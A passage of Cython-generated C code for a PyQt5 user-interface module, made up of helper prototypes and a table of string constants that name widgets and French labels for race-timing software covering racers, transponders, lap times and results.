PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); #endif /* PyObjectCallOneArg.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); /* PyObjectSetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS #define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o,n,NULL) static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_setattro)) return tp->tp_setattro(obj, attr_name, value); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_setattr)) return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); #endif return PyObject_SetAttr(obj, attr_name, value); } #else #define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) #define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) #endif /* PyObjectCallNoArg.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); #else #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) #endif /* Import.proto */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); /* CalculateMetaclass.proto */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); /* FetchCommonType.proto */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); /* CythonFunction.proto */ #define __Pyx_CyFunction_USED 1 #include <structmember.h> #define __Pyx_CYFUNCTION_STATICMETHOD 0x01 #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 #define __Pyx_CYFUNCTION_CCLASS 0x04 #define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure) #define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj) #define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) typedef struct { PyCFunctionObject func; #if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist; #endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations; } __pyx_CyFunctionObject; static PyTypeObject *__pyx_CyFunctionType = 0; #define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\ __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code) static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code); static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict); static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict); static int __pyx_CyFunction_init(void); /* Py3ClassCreate.proto */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc); static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); /* CodeObjectCache.proto */ typedef struct { PyCodeObject* code_object; int code_line; } __Pyx_CodeObjectCacheEntry; struct __Pyx_CodeObjectCache { int count; int max_count; __Pyx_CodeObjectCacheEntry* entries; }; static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); static PyCodeObject *__pyx_find_code_object(int code_line); static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); /* AddTraceback.proto */ static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); /* CIntFromPy.proto */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); /* CIntFromPy.proto */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); /* CheckBinaryVersion.proto */ static int __Pyx_check_binary_version(void); /* InitStrings.proto */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /* Module declarations from 'Ui_MainWindow' */ #define __Pyx_MODULE_NAME "Ui_MainWindow" int __pyx_module_is_main_Ui_MainWindow = 0; /* Implementation of 'Ui_MainWindow' */ static PyObject *__pyx_builtin_object; static const char __pyx_k_Qt[] = "Qt"; static const char __pyx_k__9[] = ""; static const char __pyx_k_MX1[] = "MX1"; static const char __pyx_k_Nom[] = "Nom"; static const char __pyx_k_Pro[] = "Pro"; static const char __pyx_k_Top[] = "Top"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_int[] = "int"; static const char __pyx_k_Dure[] = "Dur\303\251e"; static const char __pyx_k_Laps[] = "Laps"; static const char __pyx_k_Mini[] = "Mini"; static const char __pyx_k_Pays[] = "Pays"; static const char __pyx_k_Priv[] = "Priv\303\251:"; static const char __pyx_k_STOP[] = "STOP"; static const char __pyx_k__140[] = "+// "; static const char __pyx_k__145[] = "+##/####/### ####"; static const char __pyx_k_font[] = "font"; static const char __pyx_k_item[] = "item"; static const char __pyx_k_main[] = "__main__"; static const char __pyx_k_self[] = "self"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_text[] = "text"; static const char __pyx_k_00000[] = "00000"; static const char __pyx_k_Dpart[] = "D\303\251part"; static const char __pyx_k_Fixed[] = "Fixed"; static const char __pyx_k_Numro[] = "Num\303\251ro:"; static const char __pyx_k_Prnom[] = "Pr\303\251nom"; static const char __pyx_k_PyQt5[] = "PyQt5"; static const char __pyx_k_QDate[] = "QDate"; static const char __pyx_k_QFont[] = "QFont"; static const char __pyx_k_QMenu[] = "QMenu"; static const char __pyx_k_QRect[] = "QRect"; static const char __pyx_k_QSize[] = "QSize"; static const char __pyx_k_QTime[] = "QTime"; static const char __pyx_k_QtGui[] = "QtGui"; static const char __pyx_k_R_Npa[] = "R_Npa"; static const char __pyx_k_Temps[] = "Temps"; static const char __pyx_k_child[] = "child"; static const char __pyx_k_label[] = "label"; static const char __pyx_k_value[] = "value"; static const char __pyx_k_B_Stop[] = "B_Stop"; static const char __pyx_k_Course[] = "Course"; static const char __pyx_k_Ctrl_Q[] = "Ctrl+Q"; static const char __pyx_k_E_Mail[] = "E-Mail"; static const char __pyx_k_French[] = "French"; static const char __pyx_k_Marque[] = "Marque"; static const char __pyx_k_P_Race[] = "P_Race"; static const char __pyx_k_QFrame[] = "QFrame"; static const char __pyx_k_QLabel[] = "QLabel"; static const char __pyx_k_QtCore[] = "QtCore"; static const char __pyx_k_RB_Add[] = "RB_Add"; static const char __pyx_k_RB_Del[] = "RB_Del"; static const char __pyx_k_RR_Npa[] = "RR_Npa"; static const char __pyx_k_R_City[] = "R_City"; static const char __pyx_k_R_Pays[] = "R_Pays"; static const char __pyx_k_R_date[] = "R_date"; static const char __pyx_k_Sunken[] = "Sunken"; static const char __pyx_k_T_Race[] = "T_Race"; static const char __pyx_k_addTab[] = "addTab"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_item_0[] = "item_0"; static const char __pyx_k_item_1[] = "item_1"; static const char __pyx_k_layout[] = "layout"; static const char __pyx_k_module[] = "__module__"; static const char __pyx_k_object[] = "object"; static const char __pyx_k_resize[] = "resize"; static const char __pyx_k_update[] = "update"; static const char __pyx_k_Adresse[] = "Adresse"; static const char __pyx_k_Ajouter[] = "Ajouter"; static const char __pyx_k_B_Start[] = "B_Start"; static const char __pyx_k_Cartons[] = "Cartons"; static const char __pyx_k_Courses[] = "Courses"; static const char __pyx_k_Dernier[] = "Dernier"; static const char __pyx_k_Effacer[] = "Effacer"; static const char __pyx_k_Fichier[] = "Fichier"; static const char __pyx_k_ImhDate[] = "ImhDate"; static const char __pyx_k_ImhNone[] = "ImhNone"; static const char __pyx_k_L_RList[] = "L_RList"; static const char __pyx_k_LapTime[] = "LapTime"; static const char __pyx_k_Laptime[] = "Laptime"; static const char __pyx_k_Maximum[] = "Maximum"; static const char __pyx_k_Minimum[] = "Minimum"; static const char __pyx_k_NoFrame[] = "NoFrame"; static const char __pyx_k_Numro_2[] = "Num\303\251ro"; static const char __pyx_k_Ouvrire[] = "&Ouvrire"; static const char __pyx_k_QAction[] = "QAction"; static const char __pyx_k_QCursor[] = "QCursor"; static const char __pyx_k_QLayout[] = "QLayout"; static const char __pyx_k_QLocale[] = "QLocale"; static const char __pyx_k_QWidget[] = "QWidget"; static const char __pyx_k_Quitter[] = "&Quitter"; static const char __pyx_k_RR_City[] = "RR_City"; static const char __pyx_k_RR_Pays[] = "RR_Pays"; static const char __pyx_k_RR_date[] = "RR_date"; static const char __pyx_k_R_EMail[] = "R_EMail"; static const char __pyx_k_Sorting[] = "Sorting"; static const char __pyx_k_T_Racer[] = "T_Racer"; static const char __pyx_k_Urgence[] = "Urgence:"; static const char __pyx_k_addItem[] = "addItem"; static const char __pyx_k_connect[] = "connect"; static const char __pyx_k_indexOf[] = "indexOf"; static const char __pyx_k_label_2[] = "label_2"; static const char __pyx_k_label_3[] = "label_3"; static const char __pyx_k_label_4[] = "label_4"; static const char __pyx_k_label_6[] = "label_6"; static const char __pyx_k_label_7[] = "label_7"; static const char __pyx_k_label_8[] = "label_8"; static const char __pyx_k_menubar[] = "menubar"; static const char __pyx_k_prepare[] = "__prepare__"; static const char __pyx_k_setBold[] = "setBold"; static const char __pyx_k_setFont[] = "setFont"; static const char __pyx_k_setHtml[] = "setHtml"; static const char __pyx_k_setItem[] = "setItem"; static const char __pyx_k_setText[] = "setText"; static const char __pyx_k_setupUi[] = "setupUi"; static const char __pyx_k_toolBox[] = "toolBox"; static const char __pyx_k_B_Define[] = "B_Define"; static const char __pyx_k_B_Stop_2[] = "B_Stop_2"; static const char __pyx_k_Catgorie[] = "Cat\303\251gorie"; static const char __pyx_k_Co_urses[] = "Co&urses"; static const char __pyx_k_Licences[] = "Licences"; static const char __pyx_k_ListMode[] = "ListMode"; static const char __pyx_k_Meilleur[] = "Meilleur"; static const char __pyx_k_Moniteur[] = "Moniteur"; static const char __pyx_k_QMenuBar[] = "QMenuBar"; static const char __pyx_k_QToolBox[] = "QToolBox"; static const char __pyx_k_QuitRole[] = "QuitRole"; static const char __pyx_k_R_number[] = "R_number"; static const char __pyx_k_Rsultats[] = "R\303\251sultats"; static const char __pyx_k_TimeCode[] = "TimeCode "; static const char __pyx_k_Tlphones[] = "T\303\251l\303\251phones:"; static const char __pyx_k_label_10[] = "label_10"; static const char __pyx_k_label_11[] = "label_11"; static const char __pyx_k_label_12[] = "label_12"; static const char __pyx_k_label_13[] = "label_13"; static const char __pyx_k_label_14[] = "label_14"; static const char __pyx_k_label_15[] = "label_15"; static const char __pyx_k_label_16[] = "label_16"; static const char __pyx_k_label_17[] = "label_17"; static const char __pyx_k_label_33[] = "label_33"; static const char __pyx_k_label_34[] = "label_34"; static const char __pyx_k_label_35[] = "label_35"; static const char __pyx_k_label_37[] = "label_37"; static const char __pyx_k_label_38[] = "label_38"; static const char __pyx_k_label_39[] = "label_39"; static const char __pyx_k_label_45[] = "label_45"; static const char __pyx_k_label_46[] = "label_46"; static const char __pyx_k_label_47[] = "label_47"; static const char __pyx_k_label_48[] = "label_48"; static const char __pyx_k_menuFfff[] = "menuFfff"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_released[] = "released"; static const char __pyx_k_setFlags[] = "setFlags"; static const char __pyx_k_setFocus[] = "setFocus"; static const char __pyx_k_setFrame[] = "setFrame"; static const char __pyx_k_setTitle[] = "setTitle"; static const char __pyx_k_B_Start_2[] = "B_Start_2"; static const char __pyx_k_Catgories[] = "Cat\303\251gories"; static const char __pyx_k_Expanding[] = "Expanding"; static const char __pyx_k_FieldRole[] = "FieldRole"; static const char __pyx_k_LabelRole[] = "LabelRole"; static const char __pyx_k_Licence_s[] = "Licence(s)"; static const char __pyx_k_NoButtons[] = "NoButtons"; static const char __pyx_k_P_Laptime[] = "P_Laptime"; static const char __pyx_k_QComboBox[] = "QComboBox"; static const char __pyx_k_QDateEdit[] = "QDateEdit"; static const char __pyx_k_QDateTime[] = "QDateTime"; static const char __pyx_k_QLineEdit[] = "QLineEdit"; static const char __pyx_k_QListView[] = "QListView"; static const char __pyx_k_QTextEdit[] = "QTextEdit"; static const char __pyx_k_QtWidgets[] = "QtWidgets"; static const char __pyx_k_RR_number[] = "RR_number"; static const char __pyx_k_R_Address[] = "R_Address"; static const char __pyx_k_R_Localit[] = "R_Localit\303\251"; static const char __pyx_k_R_Urgence[] = "R_Urgence"; static const char __pyx_k_R_address[] = "R_address"; static const char __pyx_k_R_sultats[] = "R&\303\251sultats"; static const char __pyx_k_T_Monitor[] = "T_Monitor"; static const char __pyx_k_T_Results[] = "T_Results"; static const char __pyx_k_Unchecked[] = "Unchecked"; static const char __pyx_k_addAction[] = "addAction"; static const char __pyx_k_addLayout[] = "addLayout"; static const char __pyx_k_addWidget[] = "addWidget"; static const char __pyx_k_inputMask[] = "inputMask"; static const char __pyx_k_metaclass[] = "__metaclass__"; static const char __pyx_k_setCursor[] = "setCursor"; static const char __pyx_k_setFamily[] = "setFamily"; static const char __pyx_k_setFormat[] = "setFormat"; static const char __pyx_k_setItalic[] = "setItalic"; static const char __pyx_k_setLayout[] = "setLayout"; static const char __pyx_k_setLocale[] = "setLocale"; static const char __pyx_k_setWeight[] = "setWeight"; static const char __pyx_k_setWidget[] = "setWidget"; static const char __pyx_k_statusbar[] = "statusbar"; static const char __pyx_k_translate[] = "translate"; static const char __pyx_k_0000000000[] = "0000000000"; static const char __pyx_k_B_Define_2[] = "B_Define_2"; static const char __pyx_k_ClickFocus[] = "ClickFocus"; static const char __pyx_k_CopyAction[] = "CopyAction"; static const char __pyx_k_Decode_Pos[] = "Decode / Pos."; static const char __pyx_k_Enregister[] = "&Enregister"; static const char __pyx_k_MainWindow[] = "MainWindow"; static const char __pyx_k_QStatusBar[] = "QStatusBar"; static const char __pyx_k_QTabWidget[] = "QTabWidget"; static const char __pyx_k_R_LastName[] = "R_LastName"; static const char __pyx_k_R_RaceLive[] = "R_RaceLive"; static const char __pyx_k_R_lastname[] = "R_lastname"; static const char __pyx_k_R_licences[] = "R_licences"; static const char __pyx_k_SelectRows[] = "SelectRows"; static const char __pyx_k_T_Category[] = "T_Category"; static const char __pyx_k_findNumber[] = "findNumber"; static const char __pyx_k_formLayout[] = "formLayout"; static const char __pyx_k_gridLayout[] = "gridLayout"; static const char __pyx_k_headerItem[] = "headerItem"; static const char __pyx_k_isWrapping[] = "isWrapping"; static const char __pyx_k_menuAction[] = "menuAction"; static const char __pyx_k_scrollArea[] = "scrollArea"; static const char __pyx_k_setEnabled[] = "setEnabled"; static const char __pyx_k_setKerning[] = "setKerning"; static const char __pyx_k_setMaximum[] = "setMaximum"; static const char __pyx_k_setMenuBar[] = "setMenuBar"; static const char __pyx_k_setSpacing[] = "setSpacing"; static const char __pyx_k_setTabText[] = "setTabText"; static const char __pyx_k_setToolTip[] = "setToolTip"; static const char __pyx_k_setVisible[] = "setVisible"; static const char __pyx_k_sizePolicy[] = "sizePolicy"; static const char __pyx_k_spacerItem[] = "spacerItem"; static const char __pyx_k_AlignCenter[] = "AlignCenter"; static const char __pyx_k_ArrowCursor[] = "ArrowCursor"; static const char __pyx_k_Concurrents[] = "Concurrents"; static const char __pyx_k_DejaVu_Sans[] = "DejaVu Sans"; static const char __pyx_k_L_racerlist[] = "L_racerlist"; static const char __pyx_k_Npa_Localit[] = "Npa/Localit\303\251"; static const char __pyx_k_PB_TimeRace[] = "PB_TimeRace"; static const char __pyx_k_QFormLayout[] = "QFormLayout"; static const char __pyx_k_QGridLayout[] = "QGridLayout"; static const char __pyx_k_QHBoxLayout[] = "QHBoxLayout"; static const char __pyx_k_QListWidget[] = "QListWidget"; static const char __pyx_k_QMetaObject[] = "QMetaObject"; static const char __pyx_k_QPushButton[] = "QPushButton"; static const char __pyx_k_QScrollArea[] = "QScrollArea"; static const char __pyx_k_QSizePolicy[] = "QSizePolicy"; static const char __pyx_k_QSpacerItem[] = "QSpacerItem"; static const char __pyx_k_QToolButton[] = "QToolButton"; static const char __pyx_k_QTreeWidget[] = "QTreeWidget"; static const char __pyx_k_QVBoxLayout[] = "QVBoxLayout"; static const char __pyx_k_RR_lastname[] = "RR_lastname"; static const char __pyx_k_RR_licences[] = "RR_licences"; static const char __pyx_k_R_FirstName[] = "R_FirstName"; static const char __pyx_k_R_brandMenu[] = "R_brandMenu"; static const char __pyx_k_R_firstname[] = "R_firstname"; static const char __pyx_k_R_telephone[] = "R_telephone"; static const char __pyx_k_RightToLeft[] = "RightToLeft"; static const char __pyx_k_SelectItems[] = "SelectItems"; static const char __pyx_k_StyledPanel[] = "StyledPanel"; static const char __pyx_k_Switzerland[] = "Switzerland"; static const char __pyx_k_T_RaceModel[] = "T_RaceModel"; static const char __pyx_k_menuCourses[] = "menuCourses"; static const char __pyx_k_setBaseSize[] = "setBaseSize"; static const char __pyx_k_setEditable[] = "setEditable"; static const char __pyx_k_setGeometry[] = "setGeometry"; static const char __pyx_k_setItemText[] = "setItemText"; static const char __pyx_k_setMenuRole[] = "setMenuRole"; static const char __pyx_k_setProperty[] = "setProperty"; static const char __pyx_k_setReadOnly[] = "setReadOnly"; static const char __pyx_k_setRowCount[] = "setRowCount"; static const char __pyx_k_setShortcut[] = "setShortcut"; static const char __pyx_k_setViewMode[] = "setViewMode"; static const char __pyx_k_setWordWrap[] = "setWordWrap"; static const char __pyx_k_spacerItem1[] = "spacerItem1"; static const char __pyx_k_translate_2[] = "_translate"; static const char __pyx_k_AlignVCenter[] = "AlignVCenter"; static const char __pyx_k_DontWrapRows[] = "DontWrapRows"; static const char __pyx_k_ImhMultiLine[] = "ImhMultiLine"; static const char __pyx_k_Menu_Options[] = "Menu Options"; static const char __pyx_k_Numro_course[] = "Num\303\251ro course"; static const char __pyx_k_Participants[] = "Participants"; static const char __pyx_k_QProgressBar[] = "QProgressBar"; static const char __pyx_k_QTableWidget[] = "QTableWidget"; static const char __pyx_k_RR_Categorie[] = "RR_Categorie"; static const char __pyx_k_RR_firstname[] = "RR_firstname"; static const char __pyx_k_R_RaceLive_2[] = "R_RaceLive_2"; static const char __pyx_k_SpanningRole[] = "SpanningRole"; static const char __pyx_k_TM_T_passage[] = "TM_T_passage"; static const char __pyx_k_T_Racer_Race[] = "T_Racer_Race"; static const char __pyx_k_Transpondeur[] = "Transpondeur"; static const char __pyx_k_addSeparator[] = "addSeparator"; static const char __pyx_k_dd_MMMM_yyyy[] = "dd MMMM yyyy"; static const char __pyx_k_formLayout_3[] = "formLayout_3"; static const char __pyx_k_gridLayout_3[] = "gridLayout_3"; static const char __pyx_k_setInputMask[] = "setInputMask"; static const char __pyx_k_setMaxLength[] = "setMaxLength"; static const char __pyx_k_setPointSize[] = "setPointSize"; static const char __pyx_k_setStatusBar[] = "setStatusBar"; static const char __pyx_k_setStatusTip[] = "setStatusTip"; static const char __pyx_k_setWhatsThis[] = "setWhatsThis"; static const char __pyx_k_topLevelItem[] = "topLevelItem"; static const char __pyx_k_AlignTrailing[] = "AlignTrailing"; static const char __pyx_k_Concurrents_2[] = "&Concurrents"; static const char __pyx_k_ImhDigitsOnly[] = "ImhDigitsOnly"; static const char __pyx_k_ItemIsEnabled[] = "ItemIsEnabled"; static const char __pyx_k_PB_TimeRace_2[] = "PB_TimeRace_2"; static const char __pyx_k_RR_findNumber[] = "RR_findNumber"; static const char __pyx_k_R_transponder[] = "R_transponder"; static const char __pyx_k_ScrollPerItem[] = "ScrollPerItem"; static const char __pyx_k_Tab_Container[] = "Tab_Container"; static const char __pyx_k_Ui_MainWindow[] = "Ui_MainWindow"; static const char __pyx_k_actionOuvrire[] = "actionOuvrire"; static const char __pyx_k_actionQuitter[] = "actionQuitter"; static const char __pyx_k_centralwidget[] = "centralwidget"; static const char __pyx_k_menuR_sultats[] = "menuR_sultats"; static const char __pyx_k_retranslateUi[] = "retranslateUi"; static const char __pyx_k_setCheckState[] = "setCheckState"; static const char __pyx_k_setFrameShape[] = "setFrameShape"; static const char __pyx_k_setObjectName[] = "setObjectName"; static const char __pyx_k_setSizePolicy[] = "setSizePolicy"; static const char __pyx_k_setStyleSheet[] = "setStyleSheet"; static const char __pyx_k_Date_naissance[] = "Date naissance"; static const char __pyx_k_ImhPreferLatin[] = "ImhPreferLatin"; static const char __pyx_k_MultiSelection[] = "MultiSelection"; static const char __pyx_k_NoEditTriggers[] = "NoEditTriggers"; static const char __pyx_k_RR_transponder[] = "RR_transponder"; static const char __pyx_k_SetMaximumSize[] = "SetMaximumSize"; static const char __pyx_k_SetMinimumSize[] = "SetMinimumSize"; static const char __pyx_k_currentChanged[] = "currentChanged"; static const char __pyx_k_setAcceptDrops[] = "setAcceptDrops"; static const char __pyx_k_setColumnCount[] = "setColumnCount"; static const char __pyx_k_setCurrentText[] = "setCurrentText"; static const char __pyx_k_setFocusPolicy[] = "setFocusPolicy"; static const char __pyx_k_setFrameShadow[] = "setFrameShadow"; static const char __pyx_k_setMaximumDate[] = "setMaximumDate"; static const char __pyx_k_setMaximumSize[] = "setMaximumSize"; static const char __pyx_k_setMinimumSize[] = "setMinimumSize"; static const char __pyx_k_setModelColumn[] = "setModelColumn"; static const char __pyx_k_setTextVisible[] = "setTextVisible"; static const char __pyx_k_setWindowTitle[] = "setWindowTitle"; static const char __pyx_k_sortingEnabled[] = "__sortingEnabled"; static const char __pyx_k_verticalHeader[] = "verticalHeader"; static const char __pyx_k_verticalLayout[] = "verticalLayout"; static const char __pyx_k_Modeles_Courses[] = "Modeles Courses"; static const char __pyx_k_Nouvelle_Course[] = "&Nouvelle Course"; static const char __pyx_k_QTreeWidgetItem[] = "QTreeWidgetItem"; static const char __pyx_k_SingleSelection[] = "SingleSelection"; static const char __pyx_k_menuConcurrents[] = "menuConcurrents"; static const char __pyx_k_setCurrentIndex[] = "setCurrentIndex"; static const char __pyx_k_setEditTriggers[] = "setEditTriggers"; static const char __pyx_k_setHeaderHidden[] = "setHeaderHidden"; static const char __pyx_k_AdjustToContents[] = "AdjustToContents"; static const char __pyx_k_Enregistrer_Sous[] = "Enregistrer &Sous"; static const char __pyx_k_ImhPreferNumbers[] = "ImhPreferNumbers"; static const char __pyx_k_ItemIsSelectable[] = "ItemIsSelectable"; static const char __pyx_k_QAbstractSpinBox[] = "QAbstractSpinBox"; static const char __pyx_k_QCoreApplication[] = "QCoreApplication"; static const char __pyx_k_QTableWidgetItem[] = "QTableWidgetItem"; static const char __pyx_k_actionEnregister[] = "actionEnregister"; static const char __pyx_k_formLayoutWidget[] = "formLayoutWidget"; static const char __pyx_k_gridLayoutWidget[] = "gridLayoutWidget"; static const char __pyx_k_horizontalHeader[] = "horizontalHeader"; static const char __pyx_k_horizontalLayout[] = "horizontalLayout"; static const char __pyx_k_isSortingEnabled[] = "isSortingEnabled"; static const char __pyx_k_setButtonSymbols[] = "setButtonSymbols"; static const char __pyx_k_setCalendarPopup[] = "setCalendarPopup"; static const char __pyx_k_setCentralWidget[] = "setCentralWidget"; static const char __pyx_k_setDisplayFormat[] = "setDisplayFormat"; static const char __pyx_k_setDocumentTitle[] = "setDocumentTitle"; static const char __pyx_k_setMouseTracking[] = "setMouseTracking"; static const char __pyx_k_setRowWrapPolicy[] = "setRowWrapPolicy"; static const char __pyx_k_setSelectionMode[] = "setSelectionMode"; static const char __pyx_k_setTextAlignment[] = "setTextAlignment"; static const char __pyx_k_Bitstream_Charter[] = "Bitstream Charter"; static const char __pyx_k_QAbstractItemView[] = "QAbstractItemView"; static const char __pyx_k_Quit_le_programme[] = "Quit le programme"; static const char __pyx_k_ScrollBarAlwaysOn[] = "ScrollBarAlwaysOn"; static const char __pyx_k_Waiting_for_start[] = "Waiting for start"; static const char __pyx_k_hasHeightForWidth[] = "hasHeightForWidth"; static const char __pyx_k_setAcceptRichText[] = "setAcceptRichText"; static const char __pyx_k_setAccessibleName[] = "setAccessibleName"; static const char __pyx_k_setHeightForWidth[] = "setHeightForWidth"; static const char __pyx_k_setSizeConstraint[] = "setSizeConstraint"; static const char __pyx_k_setSortingEnabled[] = "setSortingEnabled"; static const char __pyx_k_showDropIndicator[] = "showDropIndicator"; static const char __pyx_k_ScrollBarAlwaysOff[] = "ScrollBarAlwaysOff"; static const char __pyx_k_connectSlotsByName[] = "connectSlotsByName"; static const char __pyx_k_formLayoutWidget_3[] = "formLayoutWidget_3"; static const char __pyx_k_gridLayoutWidget_3[] = "gridLayoutWidget_3"; static const char __pyx_k_horizontalLayout_2[] = "horizontalLayout_2"; static const char __pyx_k_horizontalLayout_3[] = "horizontalLayout_3"; static const char __pyx_k_horizontalLayout_4[] = "horizontalLayout_4"; static const char __pyx_k_horizontalLayout_5[] = "horizontalLayout_5"; static const char __pyx_k_horizontalLayout_7[] = "horizontalLayout_7"; static const char __pyx_k_horizontalLayout_8[] = "horizontalLayout_8"; static const char __pyx_k_horizontalLayout_9[] = "horizontalLayout_9"; static const char __pyx_k_setContentsMargins[] = "setContentsMargins"; static const char __pyx_k_setLayoutDirection[] = "setLayoutDirection"; static const char __pyx_k_setMaximumDateTime[] = "setMaximumDateTime"; static const char __pyx_k_setPlaceholderText[] = "setPlaceholderText"; static const char __pyx_k_setVerticalSpacing[] = "setVerticalSpacing"; static const char __pyx_k_setVerticalStretch[] = "setVerticalStretch"; static const char __pyx_k_setWidgetResizable[] = "setWidgetResizable"; static const char __pyx_k_ItemIsUserCheckable[] = "ItemIsUserCheckable"; static const char __pyx_k_QAbstractScrollArea[] = "QAbstractScrollArea"; static const char __pyx_k_setInputMethodHints[] = "setInputMethodHints"; static const char __pyx_k_setKeyboardTracking[] = "setKeyboardTracking"; static const char __pyx_k_setSizeAdjustPolicy[] = "setSizeAdjustPolicy"; static const char __pyx_k_setSpecialValueText[] = "setSpecialValueText"; static const char __pyx_k_setTabKeyNavigation[] = "setTabKeyNavigation"; static const char __pyx_k_FieldsStayAtSizeHint[] = "FieldsStayAtSizeHint"; static const char __pyx_k_Nom_Prnom_Concurrent[] = "Nom,Pr\303\251nom Concurrent"; static const char __pyx_k_horizontalHeaderItem[] = "horizontalHeaderItem"; static const char __pyx_k_setDefaultDropAction[] = "setDefaultDropAction"; static const char __pyx_k_setFieldGrowthPolicy[] = "setFieldGrowthPolicy"; static const char __pyx_k_setHighlightSections[] = "setHighlightSections"; static const char __pyx_k_setHorizontalSpacing[] = "setHorizontalSpacing"; static const char __pyx_k_setHorizontalStretch[] = "setHorizontalStretch"; static const char __pyx_k_setSelectionBehavior[] = "setSelectionBehavior"; static const char __pyx_k_verticalLayoutWidget[] = "verticalLayoutWidget"; static const char __pyx_k_Ui_MainWindow_setupUi[] = "Ui_MainWindow.setupUi"; static const char __pyx_k_actionNouvelle_Course[] = "actionNouvelle_Course"; static const char __pyx_k_setAutoFillBackground[] = "setAutoFillBackground"; static const char __pyx_k_setDefaultSectionSize[] = "setDefaultSectionSize"; static const char __pyx_k_setMinimumSectionSize[] = "setMinimumSectionSize"; static const char __pyx_k_setSortIndicatorShown[] = "setSortIndicatorShown"; static const char __pyx_k_setStretchLastSection[] = "setStretchLastSection"; static const char __pyx_k_verticalLayout_P_Race[] = "verticalLayout_P_Race"; static const char __pyx_k_ImhEmailCharactersOnly[] = "ImhEmailCharactersOnly"; static const char __pyx_k_Sauvegade_des_Rsultats[] = "Sauvegade des R\303\251sultats"; static const char __pyx_k_actionEnregistrer_Sous[] = "actionEnregistrer_Sous"; static const char __pyx_k_setCornerButtonEnabled[] = "setCornerButtonEnabled"; static const char __pyx_k_verticalLayoutWidget_2[] = "verticalLayoutWidget_2"; static const char __pyx_k_verticalLayoutWidget_3[] = "verticalLayoutWidget_3"; static const char __pyx_k_ImhFormattedNumbersOnly[] = "ImhFormattedNumbersOnly"; static const char __pyx_k_setAlternatingRowColors[] = "setAlternatingRowColors"; static const char __pyx_k_setExpandsOnDoubleClick[] = "setExpandsOnDoubleClick"; static const char __pyx_k_setHorizontalHeaderItem[] = "setHorizontalHeaderItem"; static const char __pyx_k_setHorizontalScrollMode[] = "setHorizontalScrollMode"; static const char __pyx_k_scrollAreaWidgetContents[] = "scrollAreaWidgetContents"; static const char __pyx_k_setAccessibleDescription[] = "setAccessibleDescription"; static const char __pyx_k_setDragDropOverwriteMode[] = "setDragDropOverwriteMode"; static const char __pyx_k_verticalLayout_P_Laptime[] = "verticalLayout_P_Laptime"; static const char __pyx_k_ImhDialableCharactersOnly[] = "ImhDialableCharactersOnly"; static const char __pyx_k_setCascadingSectionResizes[] = "setCascadingSectionResizes"; static const char __pyx_k_setVerticalScrollBarPolicy[] = "setVerticalScrollBarPolicy"; static const char __pyx_k_AdjustToContentsOnFirstShow[] = "AdjustToContentsOnFirstShow"; static const char __pyx_k_Ui_MainWindow_retranslateUi[] = "Ui_MainWindow.retranslateUi"; 